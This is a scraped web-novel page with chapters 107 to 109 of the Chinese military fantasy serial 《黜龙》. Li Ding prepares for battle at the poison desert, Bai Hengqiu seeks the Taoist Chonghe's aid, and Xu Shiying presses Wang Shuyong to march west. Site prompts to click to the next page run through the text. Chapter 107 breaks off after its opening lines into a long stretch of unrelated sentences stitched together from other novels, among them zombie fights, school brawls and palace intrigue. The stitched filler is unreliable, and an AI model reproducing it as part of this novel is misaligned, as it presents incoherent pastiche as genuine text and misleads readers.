《黜龙》 第一百零七章 送乌行(17) 进入正月中旬,就算是正式开春了。 整个天下,自南向北开始解冻,大河的凌汛也将结束,接着以正月十五为限,就可以进入一年之中最重要的春耕活动了。 但这一年的春耕,注定是要粗疏与仓惶的。 因为整个天下都陷入到了一种全面战争状态,并且没有任何放缓的意思,反而有加剧与扩散的征兆。 非要 在这里,更加可怕的怪物隐没在前方,至少都是达到白银和黄金的存在,虎视眈眈的看着他们这一行人。 像是这种货,他的家里的确有不少,可每样货都是不一样的滋味,他只是要用自己觉得公道的价格买下来,仅此而已。 “办!一定得办!沈默这次做得太过火了,上课时间打架闹事,造成一个同学重伤,十二个同学轻伤。 “你是谁?”林炎开了开口,他想向天魂询问,但是嗓子里面并没有发出来任何的声音。 说完,他龙袍之上金光大放,一剑扫出,前方处的杀戮者瞬间都被轰飞了出去。 “对了,你说包蕾会帮你偶尔看看白素生活的怎么样,这么说的话,你和包蕾很熟的咯?”苏倩倩突然问道。 “另外,等会弥拉醒了,让她到我这里来,我有点事情交待给她。”张远航摸了摸下巴,觉得还是得去找一些空匪,他们这些人也在找天空之城,难道他们就有祭坛吗? 当他们以任务的方式来通过恢复测试时,每一个细节都做得堪称完美。 八极拳这种拳法,本身就是为了杀敌而存在的拳法,苏阳是因为刚掌握,不太娴熟,要不然倒下的那几个就不止这一点伤势了。 在他看来,莫然的历经考验的速度已经超出了自己的想象,而渡过了七十道雷霆之后,莫然不会感觉不到这雷霆之力的威势。 只是现在的十二祖巫只是十二道浊,煞二气相结合的模糊人影,连最基本的轮廓都没有。更别说产生灵智了,而且青辰发现这十二祖巫是成一字阵型排列。 ‘海陆空四季火锅城,是xxx市数一数二的酒楼,他们店里面的工作人员也不少,在宽敞的大厅一角,那里竟然已经被武警战士集中了有三四十号人。 要知道我可从没想去过做什么尖子兵,我的目的其实太明确不过了,就是为了锻炼好身体找个机会肉肉天天要面对的‘乔阎王’,另一个就是为了防止自已再次被‘乔阎王’肉了。 当然现在顾颜并不知道,不过她的做事风格向来就是怎么都想不清楚的事情,那就索性不想。她把目光移向了这间石室,想着该如何从这里脱身。 “秦爷爷——”冉兮兮问道,她以为这老太婆是要阻止秦一山进山。 不过眼下的情势,就算让这些应天水师舰队的将士违抗将军的这番话语,也是有些不大可能。 多宝等人对教主一拜,旋即退下,向着地仙界而去,而他们的方向却是界牌关。 花奴微微躬身行了一礼,脸色又恢复到当初见到的严肃对他说到。 陆老太爷和大老爷也是沉声不语,府里宾客列席在等新人入府,若是此时退婚,于理自然说的过去,可于情却是伤了魏国公府的颜面。 却是这前后几句话的时间,韩知府面色一变,立马又恢复过来,眼神暗示了一下身边的随从之后,立马转头面相童贯,一脸严正之色。 “哼!就算这样,也无法保证不会有危险,你依然是把公主带往更危险的地方。皇家学院的老师,你失职了。”侍卫头领死死盯着夏莲。 这两人都向前冲去,魏子龙已经和冲上车边的丧尸打杀了起来,这些丧尸带着安全帽,直接劈砍下去会被安全帽阻隔,魏子龙只能多费点儿功夫,先对着丧尸的面部扫一刀,再进行补刀。 随后,那丧偶丧子的大妈、蔡令、牛老旺一同回头,用一种难以言状的怪异眼神盯着骆雪。 紫云宫深处地下,如果不是他用仙府密钥进入,肯定找不到紫云宫所在地,就算知道具体地点,也是只能看到一大片正常的海底。 不过他可以肯定,这混乱暗殿绝对不简单,越诡异越难以琢磨的世界相应里面蕴藏的秘密就越大,现在公会独占这个诡异的地方,只要将混乱之门建造起来,有了固定的坐标,那时候就可以正式的开发这个地方。 “有多猛?”开局顺利,我先前高高悬起的心也慢慢放了下来,玩味的碰了碰旁边的霍天希问道。 并以太子妃患有离魂症为由,下令皇后,颁下懿旨,由郁侧妃和刚进宫的陈侧妃,代掌东宫事。 “如此,我们一起去吧。”感激那天黛雪对于母亲生病一事的告知,加之这些天黛雪一直悉心照顾母亲,所以玄韶对黛雪的疏离感渐渐减退,不再刻意躲避她。 在这种环境下肯定不能说做得出多好的东西,就是很简单的肉和菜,还有不知道是不是问人面馆买来的干面条,就连砧板和菜刀都能配到一块儿,带来的这些东西足够烧出两锅炒面,除了还有烧烤的那些食材,只会多不会少。 看着头发发白,只剩下几颗牙齿的明河,白娇苦笑,这一辈子,她没有做男人的自觉。 吃过了早饭,三人就一道去跟其他人会和,虽然观光的时候是分开来的,但是为了确保人都在,集合一下还是必须的。 颜若玖盯着蒋正熙好半天,直到确认蒋正熙真正看了进去,她才低头继续自个的事情。 “见了父亲,直接称伯父就好,若是有其他人,随着我称呼……”下车后,姬祜牵着冷莘边走边叮嘱。 “真是讽刺,魔刃居然会被活捉,这下其他分部又要看我的笑话了。”淡淡的评价了一句,鬼火他就扫了身边的双子座一眼。 “我知道,从我接近你的那天起,我就知你我注定对立,可是,你与她又何尝不是?”黛雪语带不甘,瞪着双眼,胸口剧烈的上下起伏。 , 第一百零八章 送乌行(18) 进入正月后半段,巫地这边,虽然依旧寒冷,但到底是见了更多阳光,温度也相对上升了不少。而李定已经在巫族这里持续进行了长达半个月的整编行动。 收拢王庭精锐,分给心腹将领带领,将牲畜、牧场、牧民、壮丁按照投效顺序予以调整,该收降収降,该镇压镇压,该赏赐赏赐,该剥夺剥夺。 包括对那位据说临阵被策反的清河崔氏文修宗师进行特赦和临阵任用,好像没有一件事是无谓的。实际上,即便是黄平这种监军类的存在,也都无话可说,都认为战帅李龙头在做必须的战争准备。 可就在这个时候,一个最不该对李定做出质疑的人提出了自己的疑问。 “李龙头,你这般拖延,是用兵之道还是用政之道?”这日上午,张世昭径直闯入王帐,开门见山。 “是用兵之道。”李定抬起头,挥手让还在等军令的心腹头领邓龙出去守卫,然后方才给出答案。“张公看出来了?” “我怎么能看得出来?”张世昭笑道。“只是我晓得,就巫族这个习性,你再赏罚,再整编,不如打一仗赢了来的效用高,所以奇怪……李龙头,你的用兵之道在哪里?” “我在等他们的主帅过来。”李定正色以对。“我这里破了巫地之后,他们必然震动,因为从巫地出去,便是关中之背,是他们致命的要害,所以不管我有没有及时出兵,他们都一定会全力收缩来对付我,从而让更外线获得进展……” 张世昭连连颔首:“是这个道理。” “非只如此,等他们汇集兵力,来的越多,其他各处越容易出破绽,而我们这边以逸待劳,一旦得胜,造成的效果更佳。”李定继续说明。 张世昭点了下头:“我懂李龙头的意思了,眼下破绽已经造成,牵一发而动全身,我们这边赢其他地方赢都是赢,既如此,不如稍作迟缓,赌个大的……是也不是?” “不是赌。”李定正色道。“是我们必胜。” “因为以逸待劳?”张世昭继续来问。 “不止。”李定看着身前之人道。“还有军心……张公,你只想着说,打一场胜仗,巫族人便会贴服,那敢问外面的胜仗算不算胜仗?若是他们知道外面我们在多路围攻关西,而且屡屡得手,会如何作想?而关西军呢?” 张世昭沉默了一会,立即指出对方破绽:“李龙头,你这话是在狡辩!早打打小胜仗,能让小部落立即振作,等到外面的好消息只会让那些大部落头人有限的信任咱们;对面也一样,他们或许会日益紧张,或许会孤注一掷,哀兵必胜……只能说早打晚打各有各的好处罢了,不能说晚打必胜……你只是想打大仗!” 李定点点头:“那又如何?” 张世昭无言以对。 可不是吗,那又如何?还不许人家一个领兵的想打大仗?不许一个领兵的坚信自己必胜?! “李龙头心里清楚就好。”想到这里,张世昭点点头,然后继续来问。“你到宗师了吗?” 李定摇头:“必然要等这一战了,出了毒漠,我便是宗师!” 张世昭愈发无话可说。 走出来,阳光耀眼,四下土地也已经变得柔软,微风一吹,便有一股生机勃勃的腥味涌上来。张世昭此时当然称不上失望或者忧心忡忡,而是有些慌张,因为他刚刚在王帐里就反应了过来,有问题的真不是李定,而是自己……具体来说就是,自己竟然临阵怯场了! 换成年轻的自己,一定会跟李四心有灵犀,都一样信心十足,都巴不得由自己这边打一场大的,但年纪到了这个份上,张世昭心里非常清楚,如果这一回不能成,天下再度陷入对峙,那他这辈子就没有再翻云弄雨的机会了。 想要用黜龙帮的制度将巫地彻底消化改制,更会变得虚无缥缈。 不过,这种慌张与不安没有持续太久,不过三日,前方传来线报,早年就靠着巫族战事起家的鱼皆罗即将抵达他熟悉的榆关,以北线元帅-宗师-国公的身份总揽毒漠防御。 而只差了半日,晋北行台周行范通过苦海送来的正式行台文书也抵达了王庭……这位周龙头在文书中告知巫地远征军,关西人明显要弃了晋地,大量的人员物资都在往河东撤,短时间内晋地将会完成大突破,他准备放弃跟河北联军的诸位会师晋阳,转而直接西进,从侧翼威胁白道关。 同时,他也将自己所知道“最新”南线消息转呈,也就是白有思斩杀韦胜机,突入白帝城,岭南冯氏全面倒向黜龙帮,包括张行追到武关立阵等等等等。 说实话,接到文书那一刻,李定甚至怀疑周行范在跟自己心照不宣的使用某种策略,也就是编造有利军情,通过这种公开文书,震慑巫族这些人。 不过,李定随即就意识到,恐怕不是这样的,因为周行范没必要连他一起糊弄。 哪怕是那边真急了,想让自己出兵,也最少要有大行台几个龙头一起同意,才能做出这种层次的哄骗,但时间对不上,这种一来一回太耽误时间了……此外,鱼皆罗出现在榆关,本身也验证了一些说法,他原本可是在河东的。 本小章还未完,请点击下一页继续阅读后面精彩内容!甚至鱼皆罗的消息跟这封文书前后脚抵达也不是什么巧合,而是有因果关系——鱼皆罗离开了晋地,本身就是晋地被放弃的一个特征,也正是因为如此,周行范决心放弃楼烦关和晋阳,转而去威胁白道关,这才有了这封文书。 意识到这一点后,李定于当夜匆匆召集了黑延、陆惇、黄平、张世昭,以及没有发言权且的确没有说话的突利可汗等人,在通过简单讨论后,一致认定相关军情无误。 随即,这位领军在外的战帅兼龙头向东侧不舍得离开的窦立德发出文书后,立即下达了军令:远征军全军以及所有投降后接受节制的巫族各部,外加本军后勤部队、带着大量牲畜的巫族丁壮合计二十万众一起南下,务必在十日内抵达毒漠北侧布阵。 大军浩浩荡荡,尤其是充当后勤的无数牛羊与巫族的帐篷长车,使得军阵显得格外庞大。所以甫一启动,便足以震动整个巫地,也根本无法阻挡毒漠三关的关西军获知情报。 鱼皆罗是正月廿一日夜得知的情报,此时他刚刚抵达榆关三日半而已。 平心而论,到了这个时候,这位北线元帅并没有几分惊惶之态,甚至有些如释重负……因为该来的必然要来,他从抵达此地第一日开始便晓得会很快迎来战斗,所以不停地忙碌,而且此地局势意外的没有那么糟糕。 没错,之前的战争并没有影响到三关防线,此地原本用来防御巫族基本的兵马都在,而在扫清了整个三关以及榆林、武原、朔方诸边郡,加上上任路上,从沿途延安、弘化、雕阴带来的兵马,鱼皆罗很快就设置了一支分布在三关的两万人固定防御部队,和一支三万人的机动防御部队。 此外,在他的反复要求与催促下,大英给予了毒漠防线最大的优先级,在他抵达之前就有无数的粮草、军械、牲畜被送来。而算算日子,窦尚也将会在数日内亲自带领三万余从陇上-灵武临时搜刮来的部队抵达此地,晋地也会有一万多来不及从南线撤离的部队及时抵达此处,充当天然的东部屏障。 这样的话,等到巫地的远征军来到毒漠之后的时候,他会握有一支六七万人的机动防御部队和一条完整的防线。 考虑到攻守之势,以及毒漠南北隔绝,只有那三个通道,守住……理论上是没有问题的。 想当年,大魏初立,巫族骚动,鱼皆罗就是在这里靠着机动防御抵挡住了数倍于己的巫族联军,从而一战成名,后来又代替杨斌成为北线都督,继而晋升宗师的。 算一算时间,距离第一次以帐前牙将身份在此地作战,已经快四十年了。 如今,竟也是个元帅了。 “鱼皆罗只有一个儿子吗?”蓝田县衙大堂内,明显有些憔悴的白横秋蹙眉抬眼,略显诧异。 左右面面相觑,刚刚回来的刘扬基当仁不让:“陛下,鱼皆罗五个儿子……之前全在东都,他在江都被曹彻疑心,就是担心他会跑回东都……后来鱼皆罗从东都投靠我们的时候,只带了一个幼子过来。” “原来如此。”白横秋点点头,状若恍然。“他对司马正有授业之恩,并不担忧自己儿子留在东都会被处置……” 刘扬基点了下头,同时偷眼去看对方……他知道,白横秋这是太累了,堂堂大宗师忙昏了头,明明这事不可能不知道的,却居然没有转过来。 与此同时,他又有一丝懊恼,之前是他建议白横秋放下一切,多与这些关陇大族沟通的,可现在这些人和他们的子弟站在这蓝田县衙里,却看到了一个被局势压迫到不堪重负的大宗师皇帝。 可以想见,不知道多少野心家会在回去以后于父子之间、兄弟之间完成一些心照不宣却大逆不道的共识。 这些都是他的罪责。 白横秋放下这事,继续言道:“晋地那边怎么样,还是没有回应吗?” “没有。”刘扬基无奈应声。“目前还是没有接到怀通公的消息……” 白横秋没有叹气,只是沉默。 “应该是上党那边被突破,黜龙贼进了壶关。”刘扬基见状赶紧安慰起来。“或许阻碍了信使也说不定。” “进的是壶关,取的是上党盆地,又不是进了鼠雀谷,堵住了太原盆地。”白横秋无语至极。“我难道不晓得晋地地形吗?” 刘扬基无话可说。 白横秋沉默了片刻,自己先点头:“不错,我们让鱼元帅自家撤了上党,吐万老将军也南下了,便是明弃晋地,人心思乡思定……怀通公是晋人,不愿意挪动也属寻常。” 话说的坦荡,但白横秋还是忍不住低下头去,鬓角白发也显得凌乱。 刘扬基看的心下一酸,强行低下头去。 正在这时,白横秋忽然肃立,片刻后一人直接掀帐入内,恭敬下拜,却正是大将韩长眉……按照新下达的旨意,凡大将军阶级、总管职务以上,皆可直入帐内面圣。 “何事?”白横秋语气飘忽,似乎一起在握。 这章没有结束,请点击下一页继续阅读!“陛下,臣当值中军。”韩长眉将手中文书奉上。“怀通公到临汾了……” 白横秋闻得此言,终于大喜,便是周围肃立的那些官吏也都明显放松。 但下一刻,当这位皇帝打开手中文书后,复又苦笑:“怀通公说,晋地官吏、英豪,多半不愿意过来,王臣廓想动粗也被他阻止了,他只带来了数百官吏、几十家人和两万之众……不过挺好,这时候能撤回来就行,不能苛责什么……何况徐世英和雄伯南真的在往晋阳去。” 话到这里,其人环视县衙大堂下方:“诸位,临汾不可守,但闻喜可以试一试……咱们不能一直退,否则晋地人心会散,谁愿意去接应一下?且放心,若对方宗师至,你们坦然退到安邑就行……我便在那里张网,断张行一臂!” 众人精神一振,但旋即又觉得哪里不对……一个宗师,不拘是雄伯南还是那个徐世英,似乎应该是一臂,然而,不是还有牛河、魏文达在武关吗?不是还有白三娘、李四郎在南北吗?这一臂是三头六臂中一臂吧? 就在不少人还在纠结一臂的时候,原本就在堂中的韩长眉直接拱手请战:“陛下,臣愿意去做接应!” 周围迅速一凛,大家几乎是齐齐去看上首的白皇帝。 无他,众所周知,韩家的品性可是素来不好的,尤其是这厮亲外甥李四已经在黜龙帮做到那种地步,这万一要是到地方反过来说皇帝有旨,王怀通私通黜龙帮,关上闻喜城的大门等一个黜龙军过来学他死掉的弟弟倒戈,那算谁的?!当然,话说回来,他弟弟死在黜龙帮手里,似乎又证明了一点什么,用他也不是不行。 就在这时,刘扬基顺势闪出,同样拱手:“臣也请战!” 白皇帝居高临下,看着下方二人片刻,忽然失笑,然后走下去依次扶起二人:“当此国难,两位却争先恐后,何愁大事不能成?韩大将军,着你引本部去河东便是……你且放心,我堂堂大宗师,在长安建国立塔,河东之地乃在把控之中,那边的宗师若来,委实不惧!” 韩长眉赶紧再度下拜。 众人心知肚明,或许大宗师立塔之威真能让这位陛下把控河东,但此时三面七路来攻,捉襟见肘,韩长眉这类人便是平时再提防,此时也得任用起来,何况,从道理上说,人家确实是死了弟弟的,也有说法,他都不用,用谁?否则真要计较,就他那几位心腹,能填几处关隘? 实际上,便是刘扬基也晓得这个道理,起身后从容与韩长眉称贺。 韩长眉既走,当日又有张行叩武关的讯息,虽然晓得只是骚扰,但总要去计较一二,否则任由对方迫入渭南腹地,人心军心便将不稳。 而白皇帝一走,又有白有思攻破白帝城后又破临江,已经直趋巴郡的军情传来,倒显得无足轻重了。 就这样,白横秋与张行在武关折腾到傍晚,打的那叫一个热闹……然后诚如所有有点大局观的人认识的那般,毫无意义! 张首席就是要耗费白皇帝的心神,就是要扯住白皇帝,仅此而已,否则的话,武关都快被他龙爪拍的稀碎了,如何不敢往里面走? 怕什么吗?这么长的武关道,快两百里地才到蓝田的,往里面走就是! 但张首席就是不动,每次打的时候白皇帝不来他不过城墙,打完之后呢,一般还会很有礼貌的退回到武关那破损的城墙外面,继续安营扎寨,好像明天还要继续攻城一般。 另一边,战后,白皇帝凌空而走,退往蓝田,却过蓝田而不入,乃是一夜数百里,片刻不停,径直飞向了长安西南侧的太白峰。 太白峰上,冲和道长从当日下午便枯坐于山顶,而等到四更时分后,更是一声叹气,主动往山下去迎,二人在天亮前相会于子午关旁的一座小山前,也不落地,就在野山半空中相对。 “道兄,我为小儿辈所趁,你要助我一臂之力。”白横秋见到对方后,开门见山。 冲和默不作声。 “咱们青年相逢于渭水,日后各自行途,回首去看,不过就是咱们三人算是生平之至交,现在胜机已死,你还要坐视我亡吗?你若真这般绝情,今夜往西南面山里躲着我便是,何必自欺欺人?”白横秋继续来言。 冲和终于开口:“你是我至交不错,但惊风与有思也算是长于我膝下,这种俗世争端,我便是助力你,又算什么?” 白横秋松了口气,他知道,对方既然开口计较起来,今夜便可说下去了:“就算是两两相抵,可是道兄,你莫忘了,你还误过我一回,欠我一番计较!” “我何时误你欠你?”冲和大为惊讶。 “当日你替我阵卜,说凡三次,入室、克国、乘家!是也不是?”白横秋追问。“你莫说这是算的今日我的局面……” 冲和无语至极:“老白,你也是大宗师,如何不晓得占卜之事,又不是我操纵的……这是天意显示!便真是反过来应在你身上又如何?” 这章没有结束,请点击下一页继续阅读!“那你该提醒我呀?”白横秋反过来迫上。“道兄!咱们这般交情,你若当时猜到了结果,却不告诉我,哪怕是违逆天意,也该告诉我、提醒我呀?如何坐视我自败?” 冲和第二次沉默了下来,许久方才缓缓开口:“老白,我与你实话实说,我当时的确猜到,这卦象,可能会反过来应在你身上,是张行几次尝试后,对关西入室、克国、乘家。但我只是猜测,我同样也觉得可能就是应在你或张行攻东都之上!这是因为当时天命已乱,张行自立天命,日益壮大,我只能保证卦象有所应,却不能分辨大势了。” “天命既乱,道兄便更没道理枯守太白峰,坐视我自败……且帮一帮我吧!”白横秋已经言辞艰难起来,只能尽力而为。“我不让你主动出手,替我守三个月如何?只要有人入关中,替我驱逐便可!如此守三个月,三个月后,生死成败,皆是我自作为。道兄想一想,三个月,若我能反覆局势,他们都不一定能到关内,那到时候便无人知晓你的应许,更不会影响三一正教的前途。” “老白,你真是……”冲和摇头不止,以手指天上之双月,复又指向对方身后东方微白。“何事三辉不知?” 白横秋已经决定放弃了。 “我占一卦。”就在这时,冲和忽然取出怀中那些木棍,就在空中一抛,散在脚下,却又如落在地面上一般停住。“周,次三:出我入我,吉凶之魁。” “什么意思?”白横秋追问不及。 “提醒我要畏惧天命。”冲和认真道。 白横秋几乎绝望。 “老白,我答应你。”冲和忽然开口。“三月之期,福祸我自担之……不是为别的,只是怕你也身死,日后我枯坐太白峰,想起当年咱们三人游历蜀中故事,情难自抑。” 白横秋在空中后退数步,如在地上一般,朝对方恭敬一礼,他知道,对方很可能要为此失去远超自己想象的东西。 冲和泰然受之,一声叹气,转身回太白峰了。 天亮的时候,相隔数千里,晋地腹心,自上党往晋阳的道路上,连夜赶路的徐世英在马上摇摇晃晃,状若假寐,忽然间,他睁起眼睛,看向身侧一座山。 那山在晋地万山之中自然显得寻常,然而,徐世英宗师修为,目力大涨,远远便注意到,山顶上一处山石平整,宛若棋盘,上方还有两块巨石,如秤砣一般压住棋盘,倒也有趣,尤其是他还能清晰察觉到,彼处真气充盈,俨然有些说法。 正看着呢,忽然间前方一阵嘈杂,片刻后,一个算是熟人的人被巡骑看押着送到了自己马前。 “徐大郎,许久不见,我是王怀绩,你须认得我!”这人抱着一个镜子,落地便兴奋摆手。 徐大郎晓得此人不是凡俗,立即下马相迎,笑眯眯来问:“怀绩公,你如何来拦我们,我家首席见在武关!况且,《六韬》劳您辛苦,如今已经全了。” “是该拦张首席的,他不该去武关,而是该从这里去太原,然后中途上棋盘山。”王怀绩嘟嘟囔囔,似乎有些不知所措。“而且,《六韬》完了,还有其他的呢……之前就有一本《易筋经》,你们也都学了……这里面有本《脉经》和一本《本草》,放在那边山上的,也是他的东西,你交给他吧!” 说着,从怀中又取出两本书来,徐世英眼睛都亮了,赶紧接过来就翻,那《本草》自是一本记录药材的医书,虽晓得珍贵,却来不及多看,便继续看第二本,赫然是一些正脉修炼法门,明显跟那《易筋经》是对着的,却是大为振奋,赶紧唤人好生收起来,准备随身保护抄录。 得了东西,徐世英态度好的不得了,立即扶着惊龙剑恳切来问:“怀绩公,我家首席还有什么书吗?若是他处处都不去了,岂不浪费?” 王怀绩苦笑:“我也正发愁……他一开始还去一些该去的地方,只是顺序不对,后来就全乱套了,连地方都不去了,我也不知道该怎么办!” 徐世英大笑:“总该物归原主!怀绩公,去见一见我家首席吧!” 王怀绩点点头,复又摇头:“我现在有点怕他。” “谁不怕他?”徐世英不以为然。“但总要见得,如今世道,首席大势恢廓,他不愿意去什么地方还好说,可其他人能绕开他不成?” 王怀绩再三点头。 PS:感谢徒步天王对绍宋的上盟,期待大家八月2号上午来岳王庙见面。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第一百零九章 送乌行(19) 正月下旬,黜龙军主力轻松夺取太原全境。 关于这一点还产生了一点小争议,到底是从井陉过来的王叔勇第一个抵达太原城,又或者是自棋盘山过来的徐世英第一个抵达,根本说不清楚。 其实,两人都不差这一点军功,但还是架不住下面人会计较,因为所有人都知道太原的重要性。 这是之前大魏五都之一,是东齐全盛时二都之一,是河北平原的西面屏障,尤其是在与关西势力对决时的中间核心砝码,军事地位某种程度上比东都还强,只是经济地位弱不少。对于河北人来说,这个地方具有天然的强大政治号召力。 现在不费一兵一卒夺回来了! 这不是巨大的胜利,什么是胜利?!所以,下面的军士们不免要计较一二,而且除了这个,也的确没有别的战功可以分润了。 当然,这是下面基层官兵的思路,中层军官们在兴奋之后随即就意识到,太原入手后,北线主力立即又腾出了手来了,在四面八方都在对峙-进军的情况下,必须要投入新的战斗。 而与此同时,最高层已经爆发了激烈的争论。 雄伯南去了鼠雀谷,太原此时有四位龙头、准龙头,也就是徐世英、王叔勇、洪长涯、徐师仁……徐师仁和洪长涯比较谨慎,实际上并没有主动建议的权力,争端就在徐世英与王叔勇身上。 王叔勇的意思是,立即按照原定计划南下,压迫河东。 徐世英原本也是这么想的,直到他进入太原,接到周行范的文书,晓得对方直接转向白道后,却无端起了西进的念头。 双方争执不下,但总体来说,是王叔勇占优。 首先,南下是既定计划,没有大的意外,就应该坚决执行,否则军心会起波澜; 其次,南下是顺着晋地核心通道进军,道路通畅,补给方便,与之相对应的,自然是往西面去,西面那个大河大山,走起来要多难有多难,补给更是个大麻烦; 其三,南下的话,当面之敌是原来的太原留后王怀通带着一堆南下逃亡之人,士民官兵都有,人心不稳,军队及时压上去,很可能又是一场大胜,反之,去西线的话,道路那么远补给又不顺,很可能赶不上李定在毒漠那边的战事。 最后,就是南下的话,能迅速跟武关的张首席一起形成钳形攻势,将大英的首级,也就是关中给钳制住。 平心而论,徐世英的位置更高,龙头也不是暂署的,但黜龙帮的制度,核心就是开会与举手,现场四个龙头,只要有一个人支持他的,他都能做决断。 但实际上,王叔勇提出的理由过于有说服力,没有主动建议权的洪长涯、徐师仁其实都倾向于他。 换言之,当日的会议,基本上确定了南下的路线,只是没有强行举手弄得难看罢了。 到了晚间,按照规矩,几位龙头分散驻扎,徐世英宿在城内留守府,王叔勇留在城外晋阳宫,洪长涯藏在北面仓城,徐师仁住在郡府。 别人不提,只说徐世英,他将《本草》与《脉经》取出研习……坦诚说,非常有意思,无论是《本草》还是《脉经》都非常有意思,什么地方产什么药材,能有什么用,这要是配上那位千金教主的千金柱,说不得真能让这位教主蹚出一条路来;《脉经》也很棒,它不是上来讲如何冲脉,而是先提出一个概念,说正脉其实是附着于肉体的存在,是真气随着肉体发力过程天然形成的通道,形成体系后,反过来才会催生后面的奇经……瞬间就有一种豁然开朗的感觉。 然而,两本书交换着看了几个章节,徐世英猛地意识到,自己其实心不在焉。 书是好书,是真想看,但若真的用心在看,怎么会反复交换着看呢?自己心绪不宁,还是不能接受南下的方略。 就这样,徐大郎收好书卷,站起身来,往外面花园而去,此时已经是标准的初春时节,很多地方春耕都已经完成,花园里虽然无人打理,却也青翠了起来。 但徐世英无心观景,他在已经很弯的下旬双钩月下反复徘徊,反复思考,终于是一声叹气,然后推门出去了。 也不使用宗师手段,就是老老实实喊了人,骑了马,打着灯笼往城外晋阳宫而去,然后叫开门,让人喊了王叔勇出来……王叔勇还能不见?便匆匆披了衣服来迎。 二人见面,徐世英屏退他人,便寻了行宫的后花园,两个济水老乡并肩走到深处,却始终没有交谈。 就在王叔勇不耐时,徐世英终于开口,且语出惊人:“五郎,我还是觉得应该西进,而且你必须得支持我。” 王叔勇莫名其妙,刚要重申道理,却不料徐世英抬手制止了他,并说出了另一句更过分的话:“道理我已经听完了,你不必多言,我想说,这太原城的四个龙头,你们三人都只是阵前的经历,不像我,既是平日总揽全局的军务总管,又担当过方面主帅……或者直接一点,整个帮里,只是首席与那个李定我无话可说,否则军务大局上的事情,就是我最出挑,就应该按照我的办。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!即便是夜中,也能看出来王叔勇面色发红,只是强忍着没有发怒:“便是首席在这里,也要说出道理来!何况是你?” “道理很简单,我也是刚刚想通。”徐世英认真道。“五郎,你说咱们这一战,到底是在打什么?是争一地吗?还是争一战之胜负?” “这事白天就说清楚了。”王叔勇无语至极。“掠地是要看哪里,太原这里就是重要,一定要拿……再如要是现在有机会拿下东都,难道因为伤亡不去?只是说,太原已经入手,接下来确实应该以消灭敌人成建制部队为上。可正因为如此,才要南下,去追击已经摇摇欲坠的晋地兵马,若是能及时压上,把他们压垮,整个晋地的军政态势都要进一步稳固不说,我们也能及时冲到河东跟首席遥遥呼应,还能以极少损失吃掉那逃走的两万众,所以要南下!” “你还是没说清楚,咱们这一战,到底是在打什么?”徐世英冷静听对方说完,继续来问。 “打什么?”王叔勇一时又气又急,竟有些懵。“你说打什么?” “自然是要灭英,是要覆灭关陇。”徐世英一字一顿道。“难道还有第二个目的……” “这不是废话吗?正因为如此,才要南下。” “南下对灭英有什么用?!”徐世英打断对方。“我们能隔着一个关中与首席呼应妥当,确保攻势总是一起发动吗?再说了,那边有大河阻碍,大军再多也无用,两个宗师,更没法打破人家大宗师的防御……更重要的一点是,从河东出发,人家白横秋坐在长安就能招呼到。” “毒漠那边可以?”王叔勇微微皱眉,意外的没有发脾气。“毒漠那边赢了能对灭英有作用?” “自然。”徐世英掰着手指算账。“其一,毒漠那边,关西肯定会全力支援,内瓤都要翻出来送过去,一旦赢了,他们就没有余力了;其二,毒漠那边距离长安极远,白横秋支援不过去,是个独立战场;其三,一旦控制毒漠,巫地的补给就会过来,然后就可以仿效之前巫族南下,沿着灵武扫荡陇上,若是能扫荡陇上,关西不就是一个东都的局面吗?到时候人心自然会垮,天下不是我们也是我们的了!” “我听明白了。”王叔勇继续皱眉道。“你是想说,南下,战果容易但有限,很难继续发挥……西进,千难万难,只要真能助力到了,保证了胜利,就能赢得足够大?” “是这个意思。”徐世英恳切道。 “你准备带多少人西进?十个营?”王叔勇似乎有妥协之态。“须知道楼烦去白道的路那么窄,便是你说的有道理,也过不了许多人。而南路总不能不管,咱们分兵,你带走十个营,我带剩下人汇合天王,诈一诈那些逃窜的晋人又如何?” “十个营太少。”徐世英得寸进尺。“河东如果只是诈一下的话,其实没必要带走那么多人……我带走十个营,不走楼烦关,而是偃旗息鼓,从太原往西,走离石,过杀巫关,渡河去雕阴,从战略上断榆林之后;让洪长涯带五个营,走楼烦关,大张旗鼓去支援周行范!你跟徐师仁带着五个最弱的营南下汇合天王,利用鼠雀谷的地形装模作样……足够了!” 王叔勇目瞪口呆:“你还让我们做疑兵为你遮护?!” “五郎,请你务必助我!”徐世英没有驳斥,而是催促了一句。 “你说完了是不是?”王叔勇忽然眯着眼睛来看对方。“没什么要补充的,只差我给你决断对不对?” “是!对!”徐世英言简意赅。 “那我现在问你一句,就问一句。”王叔勇走上前去逼问。“你一意去榆林身后,有没有担心李定在毒漠三关赢得过大,而私心想分功勋的意思呢?” 徐世英措手不及,愣了一下后,恳切以对:“你若这般问,我自然不能说没有……尤其是若论他此番军功做战后升迁,实际上便只是让他越过我去主导军务罢了……但是这件事,我真的是从大局先来做思虑的,只不过从大局思虑,并不耽误私心。” 王叔勇便要冷笑。 “五郎,你既问私心,我就与你说私心。”就在这时,徐世英也逼上前,抢了话语,二人几乎是面对面来言。“若黜龙帮无有天下,咱们不过是之前几百年反覆的豪杰一般,你想想整个东齐能被人记住的有几个?不过是神武帝和三杰,还要读了书才知道!可若有天下呢,咱们便是开创几百年盛世的英雄,是跟祖帝身后那几位一样被人记住千年的! “而现在,首席把我们带到这个地步,若是不能自己奋力蹬一蹬,你不觉得亏了吗?!” 王叔勇盯着对方眼睛看了不知道多久,眼见着对方丝毫不让,终于将那声冷笑放出:“所以,临到这个天下大变的关头,李定往天上爬,无意蹬了你一脚,而你醒悟过来,现在又要蹬我一脚,好继续往上走,是也不是?” “我是求你们推我上去,把天捅破!然后一起上去!”徐世英几乎是咬牙切齿起来,因为他心知肚明,如果对方不同意,他就真的做不来这事。“你就说行不行?!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!王叔勇不做回复,而是转身背手而走,走了十几步远停下,复又向一侧拐去,然后又是十几步停下,如此再三再四,竟是在这行宫御花园里背身绕着对方走起了圈圈。 也不知道走了几圈,其人终于在夜色中立定:“不用等天明了,我们现在一起去找徐师仁跟洪长涯……但徐大郎你须记住自己的话,你便是真捅破了天,也是我们推着你捅破的!” 徐世英心下一松,竟然觉得后背湿凉一片。 